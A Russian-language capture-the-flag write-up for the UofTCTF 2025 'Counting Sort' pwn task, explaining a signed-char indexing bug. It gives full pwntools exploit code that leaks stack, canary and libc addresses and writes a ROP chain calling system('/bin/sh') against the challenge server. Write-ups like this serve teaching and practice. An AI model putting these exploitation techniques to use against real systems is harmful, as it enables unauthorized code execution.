UofTCTF 2025 — Counting Sort
Подписывайтесь на TG канал /b/exploits
Разберём таск с прошедшего UofTCTF 2025
Файлы из архива.
Быстро взглянем на окружение.
В целом ничего интересного, но обратим внимание где именно запускается бинарь внутри контейнера.
Смотрим main:
Функция setup
не интересна в контексте решения таска.
Смотрим всю оставшуюся логику:
Подробно разберём код.
- У нас есть стековый буфер размером 256 байт который очищается в начале функции (строка 16)
- Далее мы инициализируем указатель на стеке на этот буфер (строка 17)
- Выделяем буфер на куче размером 512 байт и читаем в него данные пользователя (строка 18 и 19)
- Запускается цикл по введённым значениям (строка 20)
- Внутри цикла мы используем очередной введённый байт как индекс для массива на стеке (строка 22). То есть мы берём значение введённого байта (от 0 до 255) и получаем адрес на стеке. Размер массива на стеке 256 байт и максимальное значение индекса не может его превышать. Кажется, что это выглядит безопасно. Но нюанс в том, что тип данных хранимых в буфере на куче — это
char
, а он является знаковым типом. Это означает, что мы можем передать отрицательное значение и будем получать адреса на стеке которые располагаются выше чем наш стековый массив. - Также внутри цикла (строка 23) мы инкрементируем значение по полученному в прошлом шаге адресу на стеке
- После цикла мы освобождаем буфер на хипе (строка 25)
- Начинается ещё один цикл в котором идёт проход по массиву на стеке (строка 26)
- Внутри цикла мы получаем очередной адрес стека и инкрементируем указатель (строка 28)
- Разыменовываем указатель и получаем байт по этому адресу (строка 29)
- Внутренний цикл до значения байта из прошлого шага (строка 30)
- Печатаем на экран текущий счётчик внешнего цикла (строка 31)
Второй цикл позволяет нам печатать на экран содержимое по указателю на стек, то есть если мы сможем его сдвинуть, то сможем получить утечку адресов со стека.
Чтобы поменять указатель на стек мы будем использовать уязвимость найденную в первом цикле. Она позволяет инкрементировать байты по отрицательным индексам относительно начала массива на стеке.
Мы адресуемся относительно stack_buf
и нам надо дотянуться до указатель на этот же буфер p_stack_buf
. Если мы передадим отрицательный индекс, то сможем поменять любой байт p_stack_buf
и он будет указывать в другое место. Но, как только мы поменяем указатель p_stack_buf
мы будем адресовываться от нового места куда он будет указывать.
Так как у нас примитив которые инкрементирует значение мы можем переписать второй младший байт указателя p_stack_buf
и передвинуть указатель на 256 байт вперёд:
Меняя указатель мы будем адресоваться относительно места на стеке где лежит указатель на стековый фрейм предыдущей функции.
Посмотрим как это будет выглядеть в отладчике. Реализуем простой POC который меняет указатель.
import pwn
pwn.context.terminal = ['tmux', 'splitw', '-h']
r = pwn.process('./chall')
pwn.gdb.attach(io, '''
b *sort+450
b *sort+623
''')
pwn.pause()
payload = [-15]
payload = [x & 0xFF for x in payload]
r.send(bytes(payload))
Запустим и посмотрим в отладчике куда передвинется наш указатель. Изначально он указывает корректно на стек.
Но после одного шага цикла мы двинем его дальше.
Видим, что наш указатель переместился и теперь мы будем адресовываться гораздо дальше по стеку и сможем дотянуться до адреса возврата в main
, а также до адреса возврата в libc
.
Изобразим эту идею на картинке. Красными стрелками показаны смещения относительно превоначального адреса и куда указывает p_stack_buf
. А жёлтыми показано куда переместится наш указатель и как теперь будет работать индексация массива.
После передвижения указателя мы сможем ликнуть данные лежащие на стеке после этого указателя. Надо только правильно обработать их. Код для обработки лика представлен ниже.
leak = b''
for i in range(1000000000):
part = r.recv(1024, timeout = 1.5)
leak += part
if len(part) == 0:
break
buffer = []
for i in range(256):
buffer.append(leak.count(i))
data = bytes(buffer)
elf_base = pwn.u64(data[0:8]) - 0xd98
canary = pwn.u64(data[8:16])
libc_base = pwn.u64(data[40:48]) - 0x2a1ca
print(f'elf_base % 0x{elf_base:X}')
print(f'canary % 0x{canary:X}')
print(f'libc_base % 0x{libc_base:X}')
В итоге мы получим адрес libc
и сможем переписать адрес возврата из main
на любой другой адрес.
Но для того, чтобы записать произвольное количество байт на стек нам нужен примитив который может писать любой байт. Так как ввод ограничен необходимо зациклить программу. Это можно сделать перезаписью адреса возврата из sort
на начало main
.
Реализуем это в виде отдельной функции которая выставляет необходимый байт.
def set_byte(offset, value):
payload = [-15] + [0x18] * (0x100 - 0xbc + 0xa8) + [0x28 + offset] * value
payload = [x & 0xFF for x in payload]
assert len(payload) < 512
pwn.sleep(0.2)
r.send(bytes(payload))
leak = b''
for i in range(100000):
part = r.recv(1024, timeout = 0.2)
leak += part
if len(part) == 0:
break
print(f'[{offset}] => {hex(value)} ({len(payload)})')
Теперь у нас есть все примитивы чтобы писать на стек любые байты. Запишем ROP-цепочку для вызова system("/bin/sh")
и запустим наш скрипт.
Полный код эксплоита представлен ниже или на нашем гитхабе.
import pwn
pwn.context.terminal = ['tmux', 'splitw', '-h']
r = pwn.remote('34.170.104.126',5000)
pop_rdi_ret = 0x2a873 # : pop rdi; ret;
system = 0x58740 # system
binsh = 0x1cb42f # /bin/sh\x00 string offset
def leak_stack():
payload = [-15] + [0x18] * (0x100 - 0xbc + 0xa8)
payload = [x & 0xFF for x in payload]
pwn.sleep(0.5)
r.send(bytes(payload))
leak = b''
for i in range(100000):
part = r.recv(1024, timeout = 0.5)
leak += part
if len(part) == 0:
break
buffer = []
for i in range(256):
buffer.append(leak.count(i))
data = bytes(buffer)
return data
def set_byte(offset, value):
payload = [-15] + [0x18] * (0x100 - 0xbc + 0xa8) + [0x28 + offset] * value
payload = [x & 0xFF for x in payload]
assert len(payload) < 512
pwn.sleep(0.2)
r.send(bytes(payload))
leak = b''
for i in range(100000):
part = r.recv(1024, timeout = 0.2)
leak += part
if len(part) == 0:
break
print(f'[{offset}] => {hex(value)} ({len(payload)})')
leaked = leak_stack()
stack_values = [
pwn.u64(leaked[40:48]),
pwn.u64(leaked[48:56]),
pwn.u64(leaked[56:64]),
pwn.u64(leaked[64:72]),
]
libc_base = pwn.u64(leaked[40:48]) - 0x2a1ca
print(f'libc_base @ 0x{libc_base:x}')
target_values = [
libc_base + pop_rdi_ret,
libc_base + binsh,
0x00,
libc_base + system,
]
for i in range(len(target_values)):
stack = stack_values[i]
target = target_values[i]
for k in range(8):
value1 = (0x100 - ((stack >> (k*8)) & 0xFF)) & 0xFF
print(f'setting byte {i}*8 + {k} to {hex(value1)}')
set_byte(i*8 + k, value1)
value2 = (target >> (k*8)) & 0xFF
print(f'setting byte {i}*8 + {k} to {hex(value2)}')
set_byte(i*8 + k, value2)
r.interactive()
Подписывайтесь на TG канал /b/exploits